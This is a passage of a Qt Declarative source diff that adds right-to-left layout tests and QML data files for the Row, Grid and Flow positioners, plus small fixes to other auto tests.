+ canvas->viewport()->setAttribute(Qt::WA_AcceptTouchEvents);
+ canvas->setFixedSize(240,320);
+
+ return canvas;
+}
+
+QTEST_MAIN(tst_QDeclarativePinchArea)
+
+#include "tst_qdeclarativepincharea.moc"
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
index 0dafc50..edb182c 100644
--- a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
+++ b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
@@ -47,6 +47,11 @@
#include "testhttpserver.h"
#include "../../../shared/util.h"
+#ifndef QT_NO_CONCURRENT
+#include <qtconcurrentrun.h>
+#include <qfuture.h>
+#endif
+
// These don't let normal people run tests!
//#include "../network-settings.h"
@@ -356,6 +361,8 @@ void tst_qdeclarativepixmapcache::shrinkcache()
}
}
+#ifndef QT_NO_CONCURRENT
+
void createNetworkServer()
{
QEventLoop eventLoop;
@@ -382,6 +389,8 @@ void tst_qdeclarativepixmapcache::networkCrash()
}
#endif
+#endif
+
QTEST_MAIN(tst_qdeclarativepixmapcache)
#include "tst_qdeclarativepixmapcache.moc"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
index 51c8134..ee4e104 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
@@ -1,16 +1,19 @@
-import QtQuick 1.0
+import QtQuick 1.1
Rectangle {
width: 300; height: 200;
- property bool leftToRight: false
+ property int flowLayout: 1
Flow {
objectName: "flow"
- flow: leftToRight ? Flow.LeftToRight : Flow.TopToBottom
+ layoutDirection: (flowLayout == 2) ? Qt.RightToLeft : Qt.LeftToRight
+ flow: (flowLayout == 1) ? Flow.TopToBottom : Flow.LeftToRight;
+
spacing: 20
anchors.horizontalCenter: parent.horizontalCenter
Rectangle { color: "red"; width: 100; height: 50 }
Rectangle { color: "blue"; width: 100; height: 50 }
}
}
+
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml
new file mode 100644
index 0000000..ec1d666
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.1
+
+Item {
+ height: 90
+ width: 480
+ property bool testRightToLeft: false
+
+ Flow {
+ objectName: "flow"
+ height: parent.height
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ flow: Flow.TopToBottom
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
index 2810234..7c124a3 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
@@ -1,11 +1,14 @@
-import QtQuick 1.0
+import QtQuick 1.1
Item {
width: 90
height: 480
+ property bool testRightToLeft: false
+
Flow {
objectName: "flow"
width: parent.width
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
Rectangle {
objectName: "one"
color: "red"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
index e13f078..3dcbed1 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
@@ -1,11 +1,14 @@
-import QtQuick 1.0
+import QtQuick 1.1
Item {
width: 640
height: 480
+ property bool testRightToLeft: true
+
Grid {
objectName: "grid"
columns: 3
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
add: Transition {
NumberAnimation {
properties: "x,y";
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml
new file mode 100644
index 0000000..0ec1f37
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.1
+
+Item {
+ width: 640
+ height: 480
+ Grid {
+ objectName: "grid"
+ columns: 3
+ layoutDirection: Qt.RightToLeft
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
index 5b064cd..3c95f53 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
@@ -1,10 +1,13 @@
-import QtQuick 1.0
+import QtQuick 1.1
Item {
width: 640
height: 480
+ property bool testRightToLeft: false
+
Row {
objectName: "row"
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
add: Transition {
NumberAnimation {
properties: "x";
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
index 2b46bca..64bedb0 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
@@ -1,11 +1,14 @@
-import QtQuick 1.0
+import QtQuick 1.1
Item {
width: 640
height: 480
+ property bool testRightToLeft: false
+
Row {
objectName: "row"
spacing: 10
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
Rectangle {
objectName: "one"
color: "red"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
index 919cecc..e1a9652 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
@@ -1,10 +1,13 @@
-import QtQuick 1.0
+import QtQuick 1.1
Item {
width: 640
height: 480
+ property bool testRightToLeft: false
+
Row {
objectName: "row"
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
Rectangle {
objectName: "one"
color: "red"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
index 1cba598..f93ce67 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
@@ -12,9 +12,27 @@ Item {
height: 50
z: {if(index == 0){2;}else if(index == 1){1;} else{3;}}
objectName: {if(index == 0){"one";}else if(index == 1){"two";} else{"three";}}
-
}
}
}
}
+
+ //This crashed once (QTBUG-16959) because the repeater ended up on the end of the list
+ //If this grid just instantiates without crashing, then it has not regressed.
+ Grid {
+ id: grid
+ rows: 2
+ flow: Grid.TopToBottom
+
+ Repeater {
+ model: 13
+ Rectangle {
+ color: "goldenrod"
+ width: 100
+ height: 100
+ radius: 10
+ border.width: 1
+ }
+ }
+ }
}
diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
index 93611cc..40e533d 100644
--- a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
+++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
@@ -62,23 +62,33 @@ public:
private slots:
void test_horizontal();
+ void test_horizontal_rtl();
void test_horizontal_spacing();
+ void test_horizontal_spacing_rightToLeft();
void test_horizontal_animated();
+ void test_horizontal_animated_rightToLeft();
void test_vertical();
void test_vertical_spacing();
void test_vertical_animated();
void test_grid();
void test_grid_topToBottom();
+ void test_grid_rightToLeft();
void test_grid_spacing();
void test_grid_animated();
+ void test_grid_animated_rightToLeft();
void test_grid_zero_columns();
void test_propertychanges();
void test_repeater();
void test_flow();
+ void test_flow_rightToLeft();
+ void test_flow_topToBottom();
void test_flow_resize();
+ void test_flow_resize_rightToLeft();
void test_flow_implicit_resize();
void test_conflictinganchors();
void test_vertical_qgraphicswidget();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
QDeclarativeView *createView(const QString &filename);
};
@@ -91,6 +101,8 @@ void tst_QDeclarativePositioners::test_horizontal()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml");
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
QVERIFY(one != 0);
@@ -114,10 +126,41 @@ void tst_QDeclarativePositioners::test_horizontal()
delete canvas;
}
+void tst_QDeclarativePositioners::test_horizontal_rtl()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 60.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 40.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 0.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QCOMPARE(row->width(), 110.0);
+ QCOMPARE(row->height(), 50.0);
+
+ delete canvas;
+}
+
void tst_QDeclarativePositioners::test_horizontal_spacing()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml");
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
QVERIFY(one != 0);
@@ -141,10 +184,41 @@ void tst_QDeclarativePositioners::test_horizontal_spacing()
delete canvas;
}
+void tst_QDeclarativePositioners::test_horizontal_spacing_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 80.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 00.0);
+ QCOMPARE(three->y(), 0.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QCOMPARE(row->width(), 130.0);
+ QCOMPARE(row->height(), 50.0);
+
+ delete canvas;
+}
+
void tst_QDeclarativePositioners::test_horizontal_animated()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml");
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
QVERIFY(one != 0);
@@ -193,6 +267,60 @@ void tst_QDeclarativePositioners::test_horizontal_animated()
delete canvas;
}
+void tst_QDeclarativePositioners::test_horizontal_animated_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ //Note that they animate in
+ QCOMPARE(one->x(), -100.0);
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(three->x(), -100.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QVERIFY(row);
+ QCOMPARE(row->width(), 100.0);
+ QCOMPARE(row->height(), 50.0);
+
+ //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+ //Note that this means the duration of the animation is NOT tested
+
+ QTRY_COMPARE(one->x(), 50.0);
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(two->opacity(), 0.0);
+ QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet
+ QTRY_COMPARE(two->y(), 0.0);
+ QTRY_COMPARE(three->x(), 0.0);
+ QTRY_COMPARE(three->y(), 0.0);
+
+ //Add 'two'
+ two->setOpacity(1.0);
+ QCOMPARE(two->opacity(), 1.0);
+
+ // New size should be immediate
+ QCOMPARE(row->width(), 150.0);
+ QCOMPARE(row->height(), 50.0);
+
+ QTest::qWait(0);//Let the animation start
+ QCOMPARE(one->x(), 50.0);
+ QCOMPARE(two->x(), -100.0);
+
+ QTRY_COMPARE(one->x(), 100.0);
+ QTRY_COMPARE(two->x(), 50.0);
+
+ delete canvas;
+}
+
void tst_QDeclarativePositioners::test_vertical()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/vertical.qml");
@@ -364,6 +492,40 @@ void tst_QDeclarativePositioners::test_grid_topToBottom()
delete canvas;
}
+void tst_QDeclarativePositioners::test_grid_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/grid-righttoleft.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 70.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 70.0);
+ QCOMPARE(four->y(), 50.0);
+ QCOMPARE(five->x(), 60.0);
+ QCOMPARE(five->y(), 50.0);
+
+ QDeclarativeGrid *grid = canvas->rootObject()->findChild<QDeclarativeGrid*>("grid");
+ QCOMPARE(grid->layoutDirection(), Qt::RightToLeft);
+ QCOMPARE(grid->width(), 120.0);
+ QCOMPARE(grid->height(), 100.0);
+
+ delete canvas;
+}
+
void tst_QDeclarativePositioners::test_grid_spacing()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/grid-spacing.qml");
@@ -401,6 +563,8 @@ void tst_QDeclarativePositioners::test_grid_animated()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml");
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
//Note that all animate in
QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
QVERIFY(one != 0);
@@ -478,6 +642,89 @@ void tst_QDeclarativePositioners::test_grid_animated()
delete canvas;
}
+void tst_QDeclarativePositioners::test_grid_animated_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ //Note that all animate in
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QCOMPARE(one->x(), -100.0);
+ QCOMPARE(one->y(), -100.0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(two->y(), -100.0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QCOMPARE(three->x(), -100.0);
+ QCOMPARE(three->y(), -100.0);
+
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QCOMPARE(four->x(), -100.0);
+ QCOMPARE(four->y(), -100.0);
+
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+ QCOMPARE(five->x(), -100.0);
+ QCOMPARE(five->y(), -100.0);
+
+ QDeclarativeItem *grid = canvas->rootObject()->findChild<QDeclarativeItem*>("grid");
+ QVERIFY(grid);
+ QCOMPARE(grid->width(), 150.0);
+ QCOMPARE(grid->height(), 100.0);
+
+ //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+ //Note that this means the duration of the animation is NOT tested
+
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(one->x(), 100.0);
+ QTRY_COMPARE(two->opacity(), 0.0);
+ QTRY_COMPARE(two->y(), -100.0);
+ QTRY_COMPARE(two->x(), -100.0);
+ QTRY_COMPARE(three->y(), 0.0);
+ QTRY_COMPARE(three->x(), 50.0);
+ QTRY_COMPARE(four->y(), 0.0);
+ QTRY_COMPARE(four->x(), 0.0);
+ QTRY_COMPARE(five->y(), 50.0);
+ QTRY_COMPARE(five->x(), 100.0);
+
+ //Add 'two'
+ two->setOpacity(1.0);
+ QCOMPARE(two->opacity(), 1.0);
+ QCOMPARE(grid->width(), 150.0);
+ QCOMPARE(grid->height(), 100.0);
+ QTest::qWait(0);//Let the animation start
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(two->y(), -100.0);
+ QCOMPARE(one->x(), 100.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 0.0);
+ QCOMPARE(five->x(), 100.0);
+ QCOMPARE(five->y(), 50.0);
+ //Let the animation complete
+ QTRY_COMPARE(two->x(), 50.0);
+ QTRY_COMPARE(two->y(), 0.0);
+ QTRY_COMPARE(one->x(), 100.0);
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(three->x(), 0.0);
+ QTRY_COMPARE(three->y(), 0.0);
+ QTRY_COMPARE(four->x(), 100.0);
+ QTRY_COMPARE(four->y(), 50.0);
+ QTRY_COMPARE(five->x(), 50.0);
+ QTRY_COMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
void tst_QDeclarativePositioners::test_grid_zero_columns()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/gridzerocolumns.qml");
@@ -597,6 +844,8 @@ void tst_QDeclarativePositioners::test_flow()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
QVERIFY(one != 0);
QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
@@ -627,6 +876,95 @@ void tst_QDeclarativePositioners::test_flow()
delete canvas;
}
+void tst_QDeclarativePositioners::test_flow_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 40.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 20.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 40.0);
+ QCOMPARE(three->y(), 50.0);
+ QCOMPARE(four->x(), 40.0);
+ QCOMPARE(four->y(), 70.0);
+ QCOMPARE(five->x(), 30.0);
+ QCOMPARE(five->y(), 70.0);
+
+ QDeclarativeItem *flow = canvas->rootObject()->findChild<QDeclarativeItem*>("flow");
+ QVERIFY(flow);
+ QCOMPARE(flow->width(), 90.0);
+ QCOMPARE(flow->height(), 120.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow_topToBottom()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest-toptobottom.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 50.0);
+ QCOMPARE(four->x(), 100.0);
+ QCOMPARE(four->y(), 00.0);
+ QCOMPARE(five->x(), 100.0);
+ QCOMPARE(five->y(), 50.0);
+
+ QDeclarativeItem *flow = canvas->rootObject()->findChild<QDeclarativeItem*>("flow");
+ QVERIFY(flow);
+ QCOMPARE(flow->height(), 90.0);
+ QCOMPARE(flow->width(), 150.0);
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QVERIFY(flow);
+ QCOMPARE(flow->height(), 90.0);
+ QCOMPARE(flow->width(), 150.0);
+
+ QCOMPARE(one->x(), 100.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 80.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 50.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 0.0);
+ QCOMPARE(five->x(), 40.0);
+ QCOMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
void tst_QDeclarativePositioners::test_flow_resize()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
@@ -634,6 +972,7 @@ void tst_QDeclarativePositioners::test_flow_resize()
QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
QVERIFY(root);
root->setWidth(125);
+ root->setProperty("testRightToLeft", false);
QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
QVERIFY(one != 0);
@@ -660,6 +999,40 @@ void tst_QDeclarativePositioners::test_flow_resize()
delete canvas;
}
+void tst_QDeclarativePositioners::test_flow_resize_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root);
+ root->setWidth(125);
+ root->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 75.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 55.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 5.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 75.0);
+ QCOMPARE(four->y(), 50.0);
+ QCOMPARE(five->x(), 65.0);
+ QCOMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
void tst_QDeclarativePositioners::test_flow_implicit_resize()
{
QDeclarativeView *canvas = createView(SRCDIR "/data/flow-testimplicitsize.qml");
@@ -671,16 +1044,21 @@ void tst_QDeclarativePositioners::test_flow_implicit_resize()
QCOMPARE(flow->width(), 100.0);
QCOMPARE(flow->height(), 120.0);
- canvas->rootObject()->setProperty("leftToRight", true);
+ canvas->rootObject()->setProperty("flowLayout", 0);
QCOMPARE(flow->flow(), QDeclarativeFlow::LeftToRight);
QCOMPARE(flow->width(), 220.0);
QCOMPARE(flow->height(), 50.0);
- canvas->rootObject()->setProperty("leftToRight", false);
+ canvas->rootObject()->setProperty("flowLayout", 1);
QCOMPARE(flow->flow(), QDeclarativeFlow::TopToBottom);
QCOMPARE(flow->width(), 100.0);
QCOMPARE(flow->height(), 120.0);
+ canvas->rootObject()->setProperty("flowLayout", 2);
+ QCOMPARE(flow->layoutDirection(), Qt::RightToLeft);
+ QCOMPARE(flow->width(), 220.0);
+ QCOMPARE(flow->height(), 50.0);
+
delete canvas;
}
@@ -694,7 +1072,7 @@ void interceptWarnings(QtMsgType type, const char *msg)
void tst_QDeclarativePositioners::test_conflictinganchors()
{
- qInstallMsgHandler(interceptWarnings);
+ QtMsgHandler oldMsgHandler = qInstallMsgHandler(interceptWarnings);
QDeclarativeEngine engine;
QDeclarativeComponent component(&engine);
@@ -775,6 +1153,7 @@ void tst_QDeclarativePositioners::test_conflictinganchors()
item = qobject_cast<QDeclarativeItem*>(component.create());
QVERIFY(item);
QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow"));
+ qInstallMsgHandler(oldMsgHandler);
}
void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
@@ -819,6 +1198,49 @@ void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
delete canvas;
}
+void tst_QDeclarativePositioners::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; " + code.toUtf8(), QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; " + code.toUtf8(), QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativePositioners::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("Flow.layoutDirection") << "Flow { layoutDirection: Qt.LeftToRight }"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Flow.layoutDirection\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("Row.layoutDirection") << "Row { layoutDirection: Qt.LeftToRight }"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Row.layoutDirection\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("Grid.layoutDirection") << "Grid { layoutDirection: Qt.LeftToRight }"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Grid.layoutDirection\" is not available in QtQuick 1.0.\n";
+}
+
